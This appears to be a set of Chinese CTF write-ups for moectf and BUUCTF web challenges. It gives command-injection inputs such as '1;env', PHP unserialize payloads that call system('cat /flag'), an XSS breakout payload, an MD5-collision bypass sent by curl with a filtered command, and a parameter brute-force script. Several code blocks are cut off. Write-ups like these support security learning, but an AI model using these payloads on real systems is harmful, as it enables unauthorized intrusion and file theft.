- %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
PHP 反序列化漏洞
moectf web 09 第九章 星墟禁制·天机问路
题目:让你输入url
1.随便输一个,发现网址变成
http://127.0.0.1:62792/?url=www.baidu.com
那么;直接闭合它,再后面加上指令
ls -l
发现没有任何信息,猜测再env里面
输入1;env,得到
1 | KUBERNETES_SERVICE_PORT_HTTPS=443 |
17 第十七章 星骸迷阵·神念重构
诶哟,我真的要杀人了,鬼题目炒了几个答案都是错的
1 | <?php |
代审:把命令行输给a就ok
但是输入:http://127.0.0.1:46309/?a=ls%20flag后得到了:
1 | Notice**: unserialize(): Error at offset 0 of 7 bytes in **/app/index.php** on line **12** |
这个报错的核心意思是:你传给unserialize()的字符串(共 7 字节),从第 0 位(第一个字符)开始就不符合 PHP 序列化格式,反序列化函数根本没法解析。
对不起没看到这里:
1 | if(isset($_GET['a'])) { |
知识点1:
unserialize()反序列化:(后端拿到a后反序列化,那么我们只要序列化就ok)
序列化格式:
1 | O:类名长度:"类名":属性数量:{s:属性名长度:"属性名";s:指令长度:"要执行的指令";} |
很麻烦可以直接写脚本:
脚本1:
1 |
|
__destruct()方法
对象销毁时触发
1 | 这行代码执行完后,$obj没有任何其他地方引用(没有赋值给其他变量、没有后续调用),PHP判定「这个对象没用了」; |
脚本2:
1 | <?php |
new:
new 是 PHP 里「创建对象」的关键字 —— 没有 new,就造不出 A 类的实例对象
A是设计图纸,new A才是能用的实体物品
解题思路:
1.代审发现我们需要 以序列化的格式 ,给a传参
2.构造序列化的'system("\cat /flag\");'
system():PHP 的系统命令执行函数
PHP 本身不能直接执行cat /flag,必须通过system()这类函数 “桥接”—— 把系统命令作为参数传给system(),PHP 才会调用系统 去执行这个命令。
引号:PHP 里,所有要执行的代码 / 文本,只要是 “字符串形式”,就必须用引号(单引号'或双引号")包裹
3.拼接url
18 第十八章 万卷诡阁·功法连环
1 | <?php |
1 |
|
19 第十九章 星穹真相·补天归源
1 | <?php |
1 | <?php |
xss
[第二章 web进阶]XSS闯关 1
题解
第一关:
http://feeb9918-1100-446f-bc56-9c005eeb90ab.node5.buuoj.cn:81/level1?username=xss
1 | <script>alert('xss')</script> |
第二关:
发现输入后没有回显,现在开始代审吧
1 | <body> |
1.escape():只转义「特殊字符」,普通字母 / 数字不处理
若
username是<script>,escape()会转成:%3Cscript%3E;转义后的字符串通过
innerHTML渲染时,会被当成 “普通文本” 而非 “HTML/JS 代码”,无法执行恶意脚本。3.
document.getElementById('xxx')作用是:在整个页面中,找到唯一的、
id属性等于xxx的 HTML 元素。
innerHTML:JS 给 DOM 元素 “塞内容” 的方式,但它有个 “危险特性”:会把字符串当成 HTML 代码解析,而不是纯文本。
`
3.document.getElementById('xxx') 作用是:
在整个页面中,找到唯一的、id 属性等于 xxx 的 HTML 元素。
所以我们只要在var username = ‘xss’;这句话里面插入payload就行,
因为执行顺序:后端js拿到username数据,放进去,再把代码返回给前端
前端拿到代码后,一句一句执行,我们在var username = ‘xss’;这句话中就弹窗,就不用管后面的document.getElementById('ccc').innerHTML= "Welcome " + escape(username);这句话了
输入 username=1’;alert(‘1’);//
拼接后变成:var username = ‘1’; alert(1); //
11 第十一章 千机变·破妄之眼
省流:HDdss看到了 GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。
import itertools
import requests
for p in itertools.permutations(“mnopq”):
k = “”.join(p)
r = requests.get(“http://127.0.0.1:48386/“, params={k: k})
if “flag” in r.text:
print(k)
print(r.text)
break

[安洵杯 2019]easy_web
1
整个网页就个图片,但是我们发现url有点东西

img后面跟着乱七八糟的东西,还有一个cmd,那我们就很想利用一下了
直接试了ls,cat发现都被过滤了;而且还发现一直有个提示:md5 is fun

看了一下源代码,发现有个base64
于是我把url上面奇怪的字符串用base转了两下,得到16进制,16进制再转utf-8,得到 图片名字 555.png
因为在cmd无值的情况下我们仍然在返回页面看到了png,所以先不管cmd;
或许我们是否可以在img传入我们想要看到的文件,
比如源码index.php,但是这里需要刚刚相反的进制转换:
hex*4->
696e6465782e706870
base64*2->->
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
得到一堆base64,转码得到:
1 | <?php |
小知识点:
E_ALL || ~ E_NOTICE。
~ E_NOTICE:~是按位取反运算符。在二进制层面,E_NOTICE的位被置 0,其余位全部置 1。||: 这是逻辑或(Logical OR),不是位或(Bitwise OR|)。 在 PHP 中,E_ALL是一个非零整数(True),~ E_NOTICE也是一个非零整数(True)。True || True的结果永远是布尔值1。
1 | if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { |
重点:
post传参a,b,MD5强比较绕过
1.string会强制转换,所以不能传入数组,因为被转换后变成array,值就相等了;
2.!==:值不一样 || 类型不一样 (二选一满足即可)
3.===值和类型都一样
传入a和b满足值不一样,但是md5过后的值和类型都要一样
1 | a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
1 | b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 |
考虑过滤,用dir代替ls
1 | curl -X -POST "http://e220bba8-1583-48f3-aa75-54e78da3e6f1.node5.buuoj.cn:81/index.php?img=&cmd=dir+/" -d "a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2" |

看到flag,考虑绕过,用ca\t flag

[BSidesCF 2019]Futurella
1
源代码里面直接出flag



